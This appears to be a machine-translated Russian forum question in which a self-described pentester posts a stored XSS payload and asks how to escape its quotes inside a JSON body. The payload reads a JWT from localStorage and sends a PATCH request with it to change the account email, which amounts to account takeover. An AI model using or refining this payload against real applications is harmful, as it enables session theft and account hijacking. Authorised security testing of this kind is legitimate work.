Я провожу аудит веб-приложения на предмет уязвимостей для клиента.Я нашел xss, но хочу увеличить его, но проблема, с которой я сталкиваюсь, заключается в том, что данные отправляются внутри json.И теперь, когда я ввожу в него запрос xmlhttp, который нуждается в двойных кавычках для отправки своих данных POST.Вот почему проблема заключается в экранировании этих кавычек.
Я попытался экранировать его двумя обратными слешами, но запрос не прошел.Но когда я отправил запрос с одним обратным слешем в полезной нагрузке, запрос успешно завершился, но выполнение javascript не удалось
Таким образом, в основном проблема заключается в том, что данные отправляются следующим образом:
POST {"x": "y", "html": "javascript code"}
Моя полезная нагрузка xss такова:
POST
DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"xxx@xxx.com\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status
== 200) { alert(xhr.responseText) }};\"/>"}
Теперь в этом я застрял с двух сторон:
1)Когда я отправляю тот же код, что и выше, в запросе, данные сохраняются на стороне сервера, но когда я загружаю страницу, на которой они хранятся, в консоли возникает ошибка, что SyntaxError: '' строковый литерал содержит неэкранированный разрыв строки, поэтому моя полезная нагрузка неработает и терпит неудачу.
2) После поиска в Интернете я нашел решение, описанное выше, мне нужно дважды экранировать кавычки в данных поста, чтобы браузер правильно его проанализировал, но когда я снова отправляю этот запросс двойной обратной косой чертой возникла еще одна проблема: запрос завершился с ошибкой {"error": "INVALID_PAYLOAD", "message": "Malformed JSON"}
Так что теперь мне нужно как-то сделать этот запросработать правильно, минуя обе ошибки, есть ли решение этой проблемы.Я не сильно занимаюсь разработкой, поэтому, если любая помощь будет высоко оценена.Я хочу показать моему клиенту сильное влияние xss на то, как xss может привести к захвату аккаунта.Если есть способ смягчить обе эти проблемы с помощью правильного побега, пожалуйста, помогите мне.Если вам нужна дополнительная информация, не стесняйтесь спрашивать.
Спасибо.